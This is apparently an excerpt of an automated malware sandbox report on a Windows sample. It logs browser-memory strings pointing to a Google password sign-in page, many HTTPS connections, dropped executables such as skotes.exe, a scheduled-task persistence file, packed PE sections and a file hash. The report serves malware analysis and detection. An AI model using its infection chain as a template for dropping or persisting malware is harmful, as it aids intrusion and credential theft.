Source: firefox.exe, 0000001B.00000002.2734125620.000001C1667EA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2734125620.000001C166828000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2722821711.0000015475E50000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2727612952.0000015476184000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2720468138.000002B796E64000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2720880731.000002B796EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMozElements.MozEleme
Source: firefox.exe, 0000001B.00000002.2733122243.000001C164C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdh

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58655 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58661 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 58620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 58645 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 58684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 58690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58659
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58656
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58655
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58658
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58663
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58665
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58661
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 58651 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 58686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 58700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58672
Source: unknown	Network traffic detected: HTTP traffic on port 58692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58686
Source: unknown	Network traffic detected: HTTP traffic on port 58691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58680
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 58663 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58692
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58691
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58690
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 58709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58616
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58617
Source: unknown	Network traffic detected: HTTP traffic on port 58687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58621
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58620
Source: unknown	Network traffic detected: HTTP traffic on port 58641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58627
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58629
Source: unknown	Network traffic detected: HTTP traffic on port 58647 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58623
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58624
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58631
Source: unknown	Network traffic detected: HTTP traffic on port 58658 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58623 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58641
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58640
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58643
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58642
Source: unknown	Network traffic detected: HTTP traffic on port 58617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58659 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58649
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58645
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58644
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58647
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58651
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58654
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58653
Source: unknown	Network traffic detected: HTTP traffic on port 58642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58631 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 58708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58708
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58700
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 58627 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58720
Source: unknown	Network traffic detected: HTTP traffic on port 58643 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58621 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58616 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58618 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58620 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58621 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58623 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58624 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58627 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58629 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:58645 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:58647 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:58652 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:58659 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:58658 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:58684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:58686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:58691 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:58692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:58690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:58693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:58710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:58708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:58709 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 275df0ca27.exe, 0000000C.00000002.2617209511.0000000000AF2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_31ee3440-3
Source: 275df0ca27.exe, 0000000C.00000002.2617209511.0000000000AF2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_f670f2b3-d
Source: 275df0ca27.exe, 00000021.00000000.2706701885.0000000000AF2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_d581d412-5
Source: 275df0ca27.exe, 00000021.00000000.2706701885.0000000000AF2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_58e133eb-a
Source: 275df0ca27.exe.8.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_94b37426-1
Source: 275df0ca27.exe.8.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_ed59cb9f-5

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe.0.dr	Static PE information: section name:
Source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe.0.dr	Static PE information: section name: .idata
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.0.dr	Static PE information: section name:
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.0.dr	Static PE information: section name: .idata
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.0.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: 6cadd3f0fd.exe.8.dr	Static PE information: section name:
Source: 6cadd3f0fd.exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: 1171a5b648.exe.8.dr	Static PE information: section name:
Source: 1171a5b648.exe.8.dr	Static PE information: section name: .rsrc
Source: 1171a5b648.exe.8.dr	Static PE information: section name: .idata
Source: 1171a5b648.exe.8.dr	Static PE information: section name:
Source: 5TAVJ2XDPW30B3ZI4A9E75FX93.exe.9.dr	Static PE information: section name:
Source: 5TAVJ2XDPW30B3ZI4A9E75FX93.exe.9.dr	Static PE information: section name: .idata
Source: A5RXP2EPUMEJDLAL7A3JI.exe.13.dr	Static PE information: section name:
Source: A5RXP2EPUMEJDLAL7A3JI.exe.13.dr	Static PE information: section name: .idata
Source: B1DZUXGXMC4OXONLCU5KVQ.exe.13.dr	Static PE information: section name:
Source: B1DZUXGXMC4OXONLCU5KVQ.exe.13.dr	Static PE information: section name: .idata
Source: B1DZUXGXMC4OXONLCU5KVQ.exe.13.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_011C33CC

0_3_011C33CC

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

